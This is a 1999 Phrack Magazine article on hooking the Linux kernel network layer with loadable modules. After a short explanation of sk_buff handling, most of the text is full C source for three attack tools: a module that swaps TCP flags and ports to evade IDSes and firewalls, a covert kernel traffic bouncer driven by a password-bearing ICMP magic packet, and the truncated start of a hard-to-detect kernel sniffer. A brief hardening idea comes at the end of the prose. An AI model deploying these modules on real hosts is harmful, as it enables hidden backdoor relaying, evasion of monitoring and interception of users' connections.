[ News ] [ Paper Feed ] [ Issues ] [ Authors ] [ Archives ] [ Contact ]


..[ Phrack Magazine ]..
.:: Building Into The Linux Network Layer ::.

Issues: [ 1 ] [ 2 ] [ 3 ] [ 4 ] [ 5 ] [ 6 ] [ 7 ] [ 8 ] [ 9 ] [ 10 ] [ 11 ] [ 12 ] [ 13 ] [ 14 ] [ 15 ] [ 16 ] [ 17 ] [ 18 ] [ 19 ] [ 20 ] [ 21 ] [ 22 ] [ 23 ] [ 24 ] [ 25 ] [ 26 ] [ 27 ] [ 28 ] [ 29 ] [ 30 ] [ 31 ] [ 32 ] [ 33 ] [ 34 ] [ 35 ] [ 36 ] [ 37 ] [ 38 ] [ 39 ] [ 40 ] [ 41 ] [ 42 ] [ 43 ] [ 44 ] [ 45 ] [ 46 ] [ 47 ] [ 48 ] [ 49 ] [ 50 ] [ 51 ] [ 52 ] [ 53 ] [ 54 ] [ 55 ] [ 56 ] [ 57 ] [ 58 ] [ 59 ] [ 60 ] [ 61 ] [ 62 ] [ 63 ] [ 64 ] [ 65 ] [ 66 ] [ 67 ] [ 68 ] [ 69 ] [ 70 ] [ 71 ]
Current issue : #55 | Release date : 1999-09-09 | Editor : route
IntroductionPhrack Staff
Phrack LoopbackPhrack Staff
Phrack Line Noisevarious
Phrack Tribute to W. Richard StevensPhrack Staff
A Real NT RootkitGreg Hoglund
The Libnet Reference Manualroute
PERL CGI Problemsrfp
Frame Pointer Overwritingklog
Distributed Information Gatheringhybrid
Building Bastion Routers with IOSVariable K & Brett
Stego HashoConehead
Building Into The Linux Network Layerlifeline & kossak
The Black Book of AFSnicnoc
A Global Positioning System Primere5
Win32 Buffer Overflows...dark spyrit
Distributed Metastasis...Andrew J. Stewart
H.323 Firewall Security IssuesDan Moniz
Phrack World Newsdisorder
Phrack Magazine Extraction UtilityPhrack Staff
Title : Building Into The Linux Network Layer
Author : lifeline & kossak
-------[  Phrack Magazine --- Vol. 9 | Issue 55 --- 09.09.99 --- 12 of 19  ]


-------------------------[  Building Into The Linux Network Layer  ]


--------[  kossak <kossak@hackers-pt.org>, lifeline <arai@hackers-pt.org>  ]


----[  Introduction

As we all know, the Linux kernel has a monolithic architecture.  That basically
means that every piece of code that is executed by the kernel has to be loaded
into kernel memory.  To prevent having to rebuild the kernel every time new
hardware is added (to add drivers for it), Mr. Linus Torvalds and the gang 
came up with the loadable module concept that we all came to love: the linux 
kernel modules (lkm's for short).  This article begins by pointing out yet more
interesting things that can be done using lkm's in the networking layer, and
finishes by trying to provide a solution to kernel backdooring.


----[  Socket Kernel Buffers

TCP/IP is a layered set of protocols.  This means that the kernel needs to use
several routine functions to process the different packet layers in order to
fully "understand" the packet and connect it to a socket, etc.  First, it
needs a routine to handle the link-layer header and, once processed there, the
packet is passed to the IP-layer handling routine(s), then to the transport-
layer routine(s) and so on.  Well, the different protocols need a way
to communicate with each other as the packets are being processed.  Under Linux
the answer to this are socket kernel buffers (or sk_buff's).  These are used to
pass data between the different protocol layers (handling routines) and
the network device drivers.

The sk_buff{} structure (only the most important items are presented, see
linux/include/linux/skbuff.h for more):

sk_buff{}
--------+
next    |
--------|
prev    |
--------|
dev     |
--------|
        |
--------|
head    |---+
--------|   |
data    |---|---+
--------|   |   |
tail    |---|---|---+
--------|   |   |   |
end     |---|---|---|---+
--------|<--+   |   |   |
        |       |   |   |
--------|<------+   |   |
Packet  |           |   |
being   |           |   |
handled |           |   |
--------|<----------+   |
        |               |
        |               |
        |               |
--------+<--------------+

next:   pointer to the next sk_buff{}.
prev:   pointer to the previous sk_buff{}.
dev:    device we are currently using.
head:   pointer to beginning of buffer which holds our packet.
data:   pointer to the actual start of the protocol data.  This may vary
        depending of the protocol layer we are on.
tail:   pointer to the end of protocol data, also varies depending of the
        protocol layer using he sk_buff.
end:    points to the end of the buffer holding our packet. Fixed value.


For further enlightenment, imagine this:

- host A sends a packet to host B

- host B receives the packet through the appropriate network device.

- the network device converts the received data into sk_buff data structures.

- those data structures are added to the backlog queue.

- the scheduler then determines which protocol layer to pass the received
  packets to.

Thus, our next question arises...  How does the scheduler determine which
protocol to pass the data to?  Well, each protocol is registered in a
packet_type{} data structure which is held by either the ptype_all list or
the ptype_base hash table.  The packet_type{} data structure holds information
on protocol type, network device, pointer to the protocol's receive data
processing routine and a pointer to the next packet_type{} structure.  The
network handler matches the protocol types of the incoming packets (sk_buff's)
with the ones in one or more packet_type{} structures.  The sk_buff is then
passed to the matching protocol's handling routine(s).


----[  The Hack

What we do is code our own kernel module that registers our packet_type{} 
data structure to handle all incoming packets (sk_buff's) right after they
come out of the device driver.  This is easier than it seems.  We simply fill
in a packet_type{} structure and register it by using a kernel exported
function called dev_add_pack().  Our handler will then sit between the device 
driver and the next (previously the first) routine handler.  This means that
every sk_buff that arrives from the device driver has to pass first through our
packet handler.


----[  The Examples

We present you with three real-world examples, a protocol "mutation" layer,
a kernel-level packet bouncer, and a kernel-level packet sniffer.


----[  OTP (Obscure Transport Protocol)

The first one is really simple (and fun too), it works in a client-server
paradigm, meaning that you need to have two modules loaded, one on the client
and one on the server (duh).  The client module catches every TCP packet with
the SYN flag on and swaps it with a FIN flag.  The server module does exactly
the opposite, swaps the FIN for a SYN.  I find this particularly fun since both
sides behave like a regular connection is undergoing, but if you watch it on
the wire it will seem totally absurd.  This can also do the same for ports and
source address. Let's look at an example taken right from the wire.

Imagine the following scenario, we have host 'doubt' who wishes to make a
telnet connection to host 'hardbitten'.  We load the module in both sides
telling it to swap port 23 for 80 and to swap a SYN for a FIN and vice-versa.

[lifeline@doubt ITP]$ telnet hardbitten
A regular connection (without the modules loaded) looks like this:

03:29:56.766445 doubt.1025 > hardbitten.23: tcp (SYN)
03:29:56.766580 hardbitten.23 > doubt.1025: tcp (SYN ACK)
03:29:56.766637 doubt.1025 > hardbitten.23: tcp (ACK)

(we only look at the initial connection request, the 3-way handshake)

Now we load the modules and repeat the procedure.  If we look at the wire the
connection looks like the following:

03:35:30.576331 doubt.1025 > hardbitten.80: tcp (FIN)
03:35:30.576440 hardbitten.80 > doubt.1025: tcp (FIN ACK)
03:35:30.576587 doubt.1025 > hardbitten.80: tcp (ACK)

When, what is happening in fact, is that 'doubt' is (successfully) requesting a
telnet session to host 'hardbitten'.  This is a nice way to evade IDSes and
many firewall policies.  It is also very funny. :-)

Ah, There is a problem with this, when closing a TCP connection the FIN's are
replaced by SYN's because of the reasons stated above, there is, however, an
easy way to get around this, is to tell our lkm just to swap the flags when the
socket is in TCP_LISTEN, TCP_SYN_SENT or TCP_SYN_RECV states.  I have not
implemented this partly to avoid misuse by "script kiddies", partly because of
laziness and partly because I'm just too busy.  However, it is not hard to do
this, go ahead and try it, I trust you.


----[  A Kernel Traffic Bouncer

This packet relaying tool is mainly a proof of concept work at this point.
This one is particularly interesting when combined with the previous example.
We load our module on the host 'medusa' that then sits watching every packet
coming in.  We want to target host 'hydra' but this one only accepts telnet
connections from the former.  However, it's too risky to log into 'medusa'
right now, because root is logged.  No problem, we send an ICMP_ECHO_REQUEST
packet that contains a magic cookie or password and 2 ip's and 2 ports like:
<sourceip:srcport, destip:destport>.  We can however omit srcport without too
much trouble (as we did on the example shown below).  Our module then accepts
this cookie and processes it.  It now knows that any packet coming from
sourceip:srcport into medusa:destport is to be sent to destip:destport.

The following example illustrates this nicely:

- host medusa has bouncer module installed.

- host medusa receives an magic ICMP packet with:
  <sourceip:srcprt, destip:dstprt>

- any packet coming to host medusa from `sourceip:srcprt` with destination
  port `dstport` is routed to `destip`, and vice-versa.  The packets are
  never processed by the rest of the stack on medusa.

Note that as I said above, in the coded example we removed `srcprt` from the
information sent to the bouncer.  This means it will accept packets from any
source port.  This can be dangerous: imagine that I have this bouncing rule
processed on host 'medusa':

<intruder, hydra:23>

Now try to telnet from 'medusa' to 'hydra'.  You won't make it.  Every packet
coming back from hydra is sent to 'intruder', so no response appears to the
user executing the telnet.  Intruder will drop the packets obviously, since he
didn't start a connection.  Using a source port on the rule minimizes this
risk, but there is still a possibility (not likely) that a user on medusa uses
the same source port we used on our bouncing rule.  This should be possible to
avoid by reserving the source port on host medusa (see masquerading code in
the kernel).

As a side note, this technique can be used on almost all protocols, even those
without port abstraction (UDP/TCP). Even icmp bouncing should be possible
using cookies.  This is a more low-level approach than ip masquerading, and
IMHO a much better one :)

Issues with the bouncer:
- Source port ambiguity.   My suggestion to solving this is to accept the
rules without a source port, and then add that to the rule after a SYN packet
reaches the bouncer.  The rule then only affects that connection.  The
source port is then cleared by an RST or a timeout waiting for packets.
- No timeout setting on rules.
- The bouncer does not handle IP fragments.

Also, there's a bigger issue in hand.  Notice in the source that I'm sending 
the packets right through the device they came.  This is a bad situation for 
routers.  This happens because I only have immediate access to the hardware 
address of the originating packet's device.  To implement routing to another 
device, we must consult IP routing tables, find the device that is going to 
send the packet, and the destination machine's MAC address (if it is an
ethernet device), that may only be available after an ARP request.  It's tricky
stuff.  This problem, depending on the network, can become troublesome. 
Packets could be stuck on 2 hosts looping until they expire (via TTL), or, if
the network has traffic redundancy, they might escape safely.


----[  A Kernel Based Sniffer

Another proof of concept tool, the sniffer is a bit simpler in concept than
the bouncer.  It just sits in its socket buffer handler above all other
protocol handlers and listens for, say, TCP packets, and then logs them to a
file.  There are some tricks to it of course...  We have to be able to
identify packets from different connections, and better yet, we have to
order out-of-sequence tcp packets, in order to get coherent results.  This
is particularly nasty in case of telnet connections.

 (a timeout feature is
missing too, and the capability
of sniffing more than one connection at a given moment (this one is tricky).

Ideally, the module should store all results in kernel memory and send them
back to us (if we say, send it a special packet).  But this is a proof of
concept, and it is not a finished "script kiddies" product, so I leave you
smart readers to polish the code, learn it, and experiment with it :)


----[  A Solution For Kernel Harassing

So, having fun kicking kernel ass from left to right?  Let's end the tragedy,
the linux kernel is your friend! :)  Well, I've read Silvio's excellent article
about patching the kernel using /dev/kmem, so obviously compiling the kernel
without module support is not enough.  I leave you with an idea.  It should be
fairly simple to code.  It's a module (yes, another one), that when loaded
prevents any other modules to load, and turns /dev/kmem into a read-only
device (kernel memory can only be accessed with ring 0 privilege).  So
without any kernel routine made available to the outside, the kernel is the
only one that can touch it's own memory.  Readers should know that this is not
something new.  Securelevels are (somewhat) implemented in kernels 2.0.x and
do some cool stuff like not allowing writing directly to critical devices,
such as /dev/kmem, /dev/mem, and /dev/hd*.  This was not implemented in 2.2.x,
so it would be nice to have a module like this. When an administrator is
through loading modules, and wants to leave the system just a bit more secure,
he loads the 'lock' module, and presto, no more kernel harassing.  This must
be of course be accompanied by other measures. I believe a real secure system
should have this module installed and the kernel image file stored on a read
only media, such as a floppy disk drive, and no boot loader such as lilo.
You should also be  worried about securing the CMOS data. You just want to
boot using the floppy.  Securing the CMOS data can be tricky on a rooted
system as I noticed on a recent discussion on irc (liquidk, you intelligent
bastard), but this is out of the scope of this article.  This idea could
also be implemented directly in the kernel without using modules.  Mainly I
would like to see a real secure levels implementation on 2.2.x :)


---[  References

+ The Linux Kernel by David A. Rusling 
+ TCP/IP Illustrated, Volume 1 by W. Richard Stevens (Addison Wesley)
+ Phrack Issue 52, article 18 (P52-18) by plaguez.
+ Windows 98 Unleashed by Stev...oh. no. wait, this can't be right... :-)


----[  Acknowledgements

Both the authors would like to thank to: 
+ HPT (http://www.hackers-pt.org) for being a bunch of idiots (hehe).
+ pmsac@toxyn.org for support and coming up with the idea for the 
  kernel based sniffer.
+ LiquidK for coming up with the OTP concept and fucking up some of 
  our seemingly 'invincible' concepts :)
+ All of you leet hackers from Portugal, you know who you are. 
  The scene shall be one again!! :)


----[  The Code: OTP

<++> P55/Linux-lkm/OTP/otp.c !bf8d47e0
/* 
 * Obscure Transport Protocol
 *
 * Goal: Change TCP behavior to evade IDS and firewall policies.
 *
 * lifeline (c) 1999 
 * <arai@hackers-pt.org>
 *
 * gcc -O6 -c otp.c -I/usr/src/linux/include
 * insmod otp.o dev=eth0 ip=123.123.123.123
 *
 * In ip= use only numerical dotted ip's!!
 * Btw, this is the ip of the other machine that also has the module.
 *
 * Load this module in both machines putting in the ip= argument each other's
 * machine numerical dotted ip.
 *
 * Oh, and don't even think about flaming me if this fucks up your machine,
 * it works fine on mine with kernel 2.2.5.
 * This tool stands on its own. I'm not responsible for any damage caused by it.
 *
 * You will probably want to make some arrangements with the #define's below.
 *
 */

#define MODULE
#define __KERNEL__

#include <linux/config.h>
#include <linux/module.h>
#include <linux/version.h>

#include <linux/byteorder/generic.h>
#include <linux/netdevice.h>
#include <net/protocol.h>
#include <net/pkt_sched.h>
#include <net/tcp.h>
#include <net/ip.h>
#include <linux/if_ether.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/skbuff.h>
#include <linux/icmp.h>

#include <linux/kernel.h>
#include <linux/mm.h>
#include <linux/file.h>
#include <asm/uaccess.h>


/* Define here if you want to swap ports also */
#define	REALPORT	23 		/* port you which to communicate */
#define FAKEPORT	80		/* port that appears on the wire */


char *dev, *ip;
MODULE_PARM(dev, "s"); 
MODULE_PARM(ip, "s");
struct device *d;

struct packet_type otp_proto;

__u32 in_aton(const char *);

/* Packet Handler Function */
int otp_func(struct sk_buff *skb, struct device *dv, struct packet_type *pt) {

	unsigned long int magic_ip;
    unsigned int fin = skb->h.th->fin; 
	unsigned int syn = skb->h.th->syn;

	magic_ip = in_aton(ip);

	if ((skb->pkt_type == PACKET_HOST || skb->pkt_type == PACKET_OUTGOING)
	&& (skb->nh.iph->saddr == magic_ip || skb->nh.iph->daddr == magic_ip)
	&& (skb->h.th->source == FAKEPORT) || (skb->h.th->dest == FAKEPORT)) {

		if (skb->h.th->source == FAKEPORT) skb->h.th->source = htons(REALPORT);
		if (skb->h.th->dest == FAKEPORT) skb->h.th->dest = htons(REALPORT);

		if (skb->h.th->fin == 1) {
			skb->h.th->fin = 0;
			skb->h.th->syn = 1;
			goto bye;
		}
		if (skb->h.th->syn == 1) {
			skb->h.th->fin = 1;
			skb->h.th->syn = 0;			
		}
	}

	bye:
	kfree_skb(skb);
    return 0;
}

/*
 *      Convert an ASCII string to binary IP.
 */

__u32 in_aton(const char *str) {
        unsigned long l;
        unsigned int val;
        int i;

        l = 0;
        for (i = 0; i < 4; i++) {
                l <<= 8;
                if (*str != '\0') {
                        val = 0;
                        while (*str != '\0' && *str != '.') {
                                val *= 10;
                                val += *str - '0';
                                str++;
                        }
                        l |= val;
                        if (*str != '\0')
                                str++;
                }
        }
        return(htonl(l));
}

int init_module() {

	if(!ip) {
		printk("Error: missing end-host ip.\n");
		printk("Usage: insmod otp.o ip=x.x.x.x [dev=devname]\n\n");
		return -ENXIO;
	}		

	if (dev) {
		d = dev_get(dev);
		if (!d) {
			printk("Did not find device %s!\n", dev);
			printk("Using all known devices...");
		} 
		else {
			printk("Using device %s, ifindex: %i\n", 
				dev, d->ifindex);
			otp_proto.dev = d;
		}
	}
	else
		printk("Using all known devices(wildcarded)...\n");

	otp_proto.type = htons(ETH_P_ALL); 

    otp_proto.func = otp_func;
    dev_add_pack(&otp_proto);

	return(0);
}

void cleanup_module() {
	dev_remove_pack(&otp_proto);
    printk("OTP unloaded\n");
}
<-->

<++> P55/Linux-lkm/Bouncer/brules.c !677bd859
/*
 * Kernel Bouncer - Rules Client
 * brules.c
 *
 * lifeline|arai (c) 1999 
 * arai@hackers-pt.org
 *
 * Btw, needs libnet (http://www.packetfactory.net/libnet).
 * Be sure to use 0.99d or later or this won't work due to a bug in previous versions.
 *
 * Compile: gcc brules.c -lnet -o brules
 * Usage: ./brules srcaddr dstaddr password srcaddr-rule dstaddr-rule dstport-rule protocol-rule
 * 
 * srcaddr - source address
 * dstaddr - destination adress (host with the bouncer loaded)
 * password - magic string for authentication with module
 * srcaddr-rule - source address of new bouncing rule
 * dstaddr-rule - destination address of new bouncing rule
 * dstport-rule - destination port of new bouncing rule
 * protocol-rule - protocol of new bouncing rule (tcp, udp or icmp), 0 deletes all existing rules
 *
 * Example: 
 * # ./brules 195.138.10.10 host.domain.com lifeline 192.10.10.10 202.10.10.10 23 tcp
 *
 * This well tell 'host.domain.com' to redirect all connections to port 23
 * from '192.10.10.10', using TCP as the transport protocol, to the same port,
 * using the same protocol, of host '202.10.10.10'.
 * Of course, host.domain.com has to be with the module loaded. 
 *
 *  Copyright (c) 1999 lifeline <arai@hackers-pt.org>
 *  All rights reserved.
 *
 */

#include <stdio.h>
#include <libnet.h>

#define MAGIC_STR argv[3]

int main(int argc, char **argv) {

	struct rule {
		u_long	srcaddr, dstaddr;
		u_char	protocol;
		u_short	destp;
		struct rule *next;
	} *rules;	
	
    unsigned char *buf;
    u_char *payload;
    int c, sd, payload_s={0};

	if (argc != 8) {	
		printf("Kernel Bouncer - Rules Client\n");
		printf("arai|lifeline (c) 1999\n\n");
		printf("Thanks to Kossak for the original idea.\n");
		printf("Usage: %s srcaddr dstaddr password srcaddr-rule dstaddr-rule dstport-rule protocol-rule\n", argv[0]);	
		exit(0);
	}

	rules = (struct rule *)malloc(sizeof(struct rule));
	rules->srcaddr = libnet_name_resolve(argv[4], 1);
	rules->dstaddr = libnet_name_resolve(argv[5], 1);
	rules->destp = htons(atoi(argv[6]));
	rules->protocol = atoi(argv[7]);
	if(strcmp(argv[7], "tcp")==0)rules->protocol = IPPROTO_TCP;
	if(strcmp(argv[7], "udp")==0)rules->protocol = IPPROTO_UDP;
	if(strcmp(argv[7], "icmp")==0)rules->protocol = IPPROTO_ICMP;
	rules->next = 0;

	payload = (u_char *)malloc(strlen(MAGIC_STR) + sizeof(struct rule));
	memcpy(payload, MAGIC_STR, strlen(MAGIC_STR));
	memcpy((struct rule *)(payload + strlen(MAGIC_STR)), rules, sizeof(struct rule));
	payload_s = strlen(MAGIC_STR) + sizeof(struct rule);

    buf = malloc(8 + IP_H + payload_s);
	if((sd = open_raw_sock(IPPROTO_RAW)) == -1) {
    	fprintf(stderr, "Cannot create socket\n");
		exit(EXIT_FAILURE);
    }	
	
    libnet_build_ip(8 + payload_s, 0, 440, 0, 64,
			IPPROTO_ICMP, name_resolve(argv[1], 1), 
			name_resolve(argv[2], 1), NULL, 0, buf);



    build_icmp_echo(8, 0, 242, 55, payload, payload_s, buf + IP_H);

    if(libnet_do_checksum(buf, IPPROTO_ICMP, 8 + payload_s) == -1) {
    	fprintf(stderr, "Can't do checksum, packet may be invalid.\n");
    }	
  
#ifdef DEBUG
	printf("type -> %d\n", *(buf+20));
	printf("code -> %d\n", *(buf+20+1));
	printf("checksum -> %d\n", *(buf+20+2));
#endif

    c = write_ip(sd, buf, 8 + IP_H + payload_s);
    if (c < 8 + IP_H + payload_s) {
		fprintf(stderr, "Error writing packet.\n");
		exit(EXIT_FAILURE);
	}
#ifdef DEBUG
	printf("%s : %p\n", buf+28, buf+28);
#endif
	
	printf("Kernel Bouncer - Rules Client\n");
	printf("lifeline|arai (c) 1999\n\n");
	printf("Rules packet sent to %s.\n", argv[2]);

	free(rules);
	free(payload);
	free(buf);	
}
<-->
<++> P55/Linux-lkm/Bouncer/bouncer.c !f3ea817c
/*
 * krnbouncer.c - A kernel based bouncer module
 *
 * by kossak
 * kossak@hackers-pt.org || http://www.hackers-pt.org/kossak
 *
 * This file is licensed by the GNU General Public License.
 *
 * Tested on a 2.2.5 kernel. Should compile on others with minimum fuss.
 * However, I'm not responsible for setting fire on your computer, loss of
 * mental health, bla bla bla...
 *
 * CREDITS:	- Plaguez and Halflife for an excelent phrack article on
 * 		  kernel modules.
 *              - the kernel developers for a great job (no irony intended).
 *
 * USAGE: gcc -O2 -DDEBUG -c krnbouncer.c -I/usr/src/linux/include ;
 *        insmod krnsniff.o [dev=<device>]
 *
 * TODO :	- manage to send a packet thru another device than the one 
 *		  the packet is originating from (difficult, but not important)
 *		- implement a timeout for the bounce rules
 * 		- the rules should store a source port for checking the
 *		  connection (important)
 *		- turn this into a totally protocol independent IP based 
 *		  bouncer (quite a challenge :))
 *
 * NOTE : don't try to use this module to bounce connections of different
 * 	  types, such as bouncing packets from a ppp device to an ethernet
 *	  device and vice-versa. That was not tested and may crash your
 *	  machine.
 */


#define MODULE
#define __KERNEL__

#include <linux/config.h>
#include <linux/module.h>
#include <linux/version.h>

#include <linux/byteorder/generic.h>
#include <linux/netdevice.h>
#include <net/protocol.h>
#include <net/pkt_sched.h>
#include <net/tcp.h>
#include <linux/if_ether.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/skbuff.h>
#include <linux/icmp.h>

#include <linux/kernel.h>
#include <linux/mm.h>
#include <linux/file.h>
#include <asm/uaccess.h>

#include <linux/time.h>

#define DBGPRN1(X)		if (debug) printk(KERN_DEBUG X)
#define DBGPRN2(X,Y)		if (debug) printk(KERN_DEBUG X, Y);
#define DBGPRN3(X,Y,Z)  	if (debug) printk(KERN_DEBUG X, Y, Z);
#define DBGPRN4(X,Y,Z,W)	if (debug) printk(KERN_DEBUG X, Y, Z, W);
#define DBGPRN5(X,Y,Z,W,V)      if (debug) printk(KERN_DEBUG X, Y, Z, W, V);

#define TRUE  -1
#define FALSE  0

#define MAXRULES 8			/* Max bouncing rules. */
#define RULEPASS "kossak"


/*
#define SOURCEIP "a.b.c.d"
#define DESTIP "e.f.g.h"
*/

/* global data */
int debug, errno;

struct rule {
	__u32		source, dest;
	__u8		proto;
	__u16		destp; 		/* TCP and UDP only */
	struct rule	*next;
};

/* this is a linked list */
struct rule *first_rule;

char *dev;
MODULE_PARM(dev, "s");  /* gets the parameter dev=<devname> */
struct device *d;

struct packet_type bounce_proto;

/* inicial function declarations */

char *in_ntoa(__u32 in);
__u32 in_aton(const char *str);
int filter(struct sk_buff *);
int m_strlen(char *);
char *m_memcpy(char *, char *, int);
int m_strcmp(char *, const char *);

void process_pkt_in(struct sk_buff *);
void bounce_and_send(struct sk_buff *, __u32 new_host);
void clear_bounce_rules(void);
void process_bounce_rule(struct rule *);


/* our packet handler */
int pkt_func(struct sk_buff *skb, struct device *dv, struct packet_type *pt) {

	switch (skb->pkt_type) {
		case PACKET_OUTGOING:
			break;
		case PACKET_HOST:
			process_pkt_in(skb);
			break;
        	case PACKET_OTHERHOST:
			break;
		default:
			kfree_skb(skb);
			return 0;
	}

}


void bounce_and_send(struct sk_buff *skb, __u32 new_host) {

	struct tcphdr *th;
	struct iphdr *iph;	
	unsigned char dst_hw_addr[6];
	unsigned short size;
	int doff = 0;
	int csum = 0;
	int offset;

	th = skb->h.th;
	iph = skb->nh.iph;

	skb->pkt_type = PACKET_OUTGOING; /* this packet is no longer for us */

	/* we swap the ip addresses */
	iph->saddr = skb->nh.iph->daddr;
	iph->daddr = new_host;

	size = ntohs(iph->tot_len) - (iph->ihl * 4);
	doff = th->doff << 2;
 
	/* calculate checksums again... bleh! :P */
	skb->csum = 0;
	csum = csum_partial(skb->h.raw + doff, size - doff, 0);
	skb->csum = csum; /* data checksum */

	th->check = 0;
	th->check = csum_tcpudp_magic(
		iph->saddr,
		iph->daddr,
		size,
		iph->protocol,
		csum_partial(skb->h.raw, doff, skb->csum)
		); /* tcp or udp checksum */
	ip_send_check(iph); /* ip checksum */

	/* Now change the hardware MAC address and rebuild the hardware  
	 * header. no need to allocate space in the skb, since we're dealing
	 * with packets coming directly from the driver, with all fields 
	 * complete.
	 */
	m_memcpy(dst_hw_addr, skb->mac.ethernet->h_source, 6);

	if (skb->dev->hard_header)
		skb->dev->hard_header(	skb, 
					skb->dev, 
					ntohs(skb->protocol), 
					dst_hw_addr, 
					skb->dev->dev_addr, 
					skb->len);
	else
		DBGPRN1("no hardware-header build routine found\n");
		/* send it anyway! lets hope nothing breaks :) */ 

	dev_queue_xmit(skb_clone(skb, GFP_ATOMIC));
}

void process_bounce_rule(struct rule *ptr) {

	struct rule *new_rule;

	if ( ptr->proto == 0 ) {
		DBGPRN1("protocol ID is 0, clearing bounce rules...\n");
		clear_bounce_rules();
	}
	else {
		new_rule = kmalloc(sizeof(struct rule), GFP_ATOMIC);
		m_memcpy ((char *)new_rule,(char *)ptr, sizeof(struct rule));

		new_rule->next = NULL; /* trust no one :) */

		if (!first_rule) {
			first_rule = new_rule; /* not 100% efficient here... */
		}	
		else {
			ptr = first_rule;
			while (ptr->next)
				ptr = ptr->next;
			ptr->next = new_rule;
		}
	}
}

/* this is untested code, dunno if kfree() works as advertised. */
void clear_bounce_rules () {
	struct rule *ptr;

	while (first_rule) {
		ptr = first_rule->next;
		kfree(first_rule);
		first_rule = ptr;
	}	
}


void process_pkt_in(struct sk_buff *skb) {

	char *data;
	int i, datalen;
	struct rule	*ptr;
	__u32	host;

	/* fix some pointers */
	skb->h.raw = skb->nh.raw + skb->nh.iph->ihl*4;

	/* This is an icmp packet, and may contain a bouncing rule for us. */
	if (skb->nh.iph->protocol == IPPROTO_ICMP) {

		if (skb->h.icmph->type != ICMP_ECHO) return;

		data = (skb->h.raw) + sizeof(struct icmphdr); 

		datalen = skb->len;

		if (m_strcmp(data, RULEPASS)) {
			DBGPRN1("Found a valid cookie, checking size...\n");
			i = m_strlen(RULEPASS); 
			if (sizeof(struct rule) < datalen - i) {
				DBGPRN1("Valid size, editing rules...\n");
				process_bounce_rule((struct rule *)(data+i));
			} 
			return;
		}
	}

	ptr = first_rule;	

	/* search the existing rules for this packet */
	while (ptr) {
		if (skb->nh.iph->protocol != ptr->proto) {
			ptr = ptr->next;
			continue;	
		} 

		if (skb->nh.iph->saddr == ptr->source
			&& skb->h.th->dest == ptr->destp) { 
			bounce_and_send(skb, ptr->dest);
			return;
		}

                if (skb->nh.iph->saddr == ptr->dest
                        && skb->h.th->source == ptr->destp) {
			bounce_and_send(skb, ptr->source);
			return;
		}
		ptr = ptr->next;
	}

}


/* init_module */
int init_module(void) {

#ifdef DEBUG
        debug = TRUE;
#else
        debug = FALSE;
#endif

	first_rule = NULL;

/* this is for testing purposes only
	first_rule = kmalloc(sizeof(struct rule), GFP_ATOMIC);
	first_rule->source = in_aton(SOURCEIP);
	first_rule->dest = in_aton(DESTIP);
	first_rule->proto = IPPROTO_TCP;
	first_rule->destp = htons(23);
	first_rule->next = NULL;
*/
	if (dev) {
		d = dev_get(dev);
		if (!d) {
			DBGPRN2("Did not find device %s!\n", dev);
			DBGPRN1("Using all known devices...");
		}
		else {
			DBGPRN3("Using device %s, ifindex: %i\n", 
				dev, d->ifindex);
			bounce_proto.dev = d;
		}
	}
	else
		DBGPRN1("Using all known devices...\n");

	bounce_proto.type = htons(ETH_P_ALL);

	/* this one just gets us incoming packets */
/*	bounce_proto.type = htons(ETH_P_IP); */

	bounce_proto.func = pkt_func;
	dev_add_pack(&bounce_proto);

	return(0);
}

void cleanup_module(void) {
	dev_remove_pack(&bounce_proto);

	DBGPRN1("Bouncer Unloaded\n");
}


/* boring yet useful functions follow... */

/* Convert an ASCII string to binary IP. */
__u32 in_aton(const char *str) {
	unsigned long l;
	unsigned int val;
	int i;

	l = 0;
	for (i = 0; i < 4; i++) {
		l <<= 8;
		if (*str != '\0') {
			val = 0;
			while (*str != '\0' && *str != '.') {
				val *= 10;
				val += *str - '0';
				str++;
			}
			l |= val;
			if (*str != '\0')
				str++;
		}
	}
	return(htonl(l));
}

/* the other way around. */
char *in_ntoa(__u32 in) {
        static char buff[18];
        char *p;

        p = (char *) &in;
        sprintf(buff, "%d.%d.%d.%d",
                (p[0] & 255), (p[1] & 255), (p[2] & 255), (p[3] & 255));
        return(buff);
}

int m_strcmp(char *trial, const char *correct) {
	char *p;
	const char *i;

	p = trial;
	i = correct;

	while (*i) {
		if (!p) return 0;
		if (*p != *i) return 0;
		p++;
		i++;
	}
	return 1;
}

char *m_memcpy(char *dest, char *src, int size) {
	char *i, *p;

	p = dest;
	i = src;

	while (size) {
		*p = *i;
		i++;
		p++;
		size--;
	}
	return dest;
}

int m_strlen(char *ptr) {
	int i = 0;
	while (*ptr) {
		ptr++;
		i++;
	}
	return i;
}

/* EOF */
<-->
<++> P55/Linux-lkm/krnsniff/krnsniff.c !4adeadb3
/* 
 * krnsniff.c v0.1a - A kernel based sniffer module
 * 
 * by kossak
 * kossak@hackers-pt.org || http://www.hackers-pt.org/kossak
 * 
 * This file is licensed by the GNU General Public License.
 *
 * Tested on a 2.2.5 kernel. Should compile on others with minimum fuss.
 * However, I'm not responsible for setting fire on your computer, loss of
 * mental health, bla bla bla...
 * 
 * CREDITS:	- Mike Edulla's ever popular linsniffer for some logging ideas.
 *		- Plaguez and Halflife for an excelent phrack article on
 *		  kernel modules.
 *		- the kernel developers for a great job (no irony intended).
 *
 * USAGE: gcc -O2 -DDEBUG -c krnsniff.c -I/usr/src/linux/include ; 
 *	  insmod krnsniff.o [dev=<device>]
 *
 * TODO :	- implement a timeout feature (IMPORTANT)
 *	 	- better support for certain stupid ppp devices that don't set
 *		  dev->hard_header_len correctly.
 *		- Parallel logging (like linsniff.c, this thing is still just
 *		  logging one connection at a time).
 *		- fix strange kmem grows kernel bitchings (FIXED) ...i think
 *		- store the logs in kernel memory and send them and clear them
 *		  when a magic packet is sent.
 *		- some weird shit happens in my LAN on incoming connections
 *		  that fucks up the logs a bit, but this was not confirmed
 *		  on other tests. It has to do with packets not increasing seq
 *		  numbers, I think.
 *		- This wasn't tested on a promisc system, but it should work
 *		  without almost no modifications.
 *
 * NOTE: the purpose of this module is to expose the dangers of a rooted 
 *       system. It is virtually impossible to detect, if used with a module
 *       hidder.
 *       This could also be developed further to become a simple and easy way 
 *       to detect unauthorized network intrusions.
 *
 *       Oh, and script kiddies, don't read the FUCKING source, I hope you 
 *       have shit loads of kernel faults and you lose all your 31337 0wn3d
 *       s1t3z... grrr.
 *
 *       look at least at the LOGFILE define below before compiling.
 */

#define MODULE
#define __KERNEL__

#include <linux/config.h>
#include <linux/module.h>
#include <linux/version.h>

#include <linux/byteorder/generic.h>
#include <linux/netdevice.h>
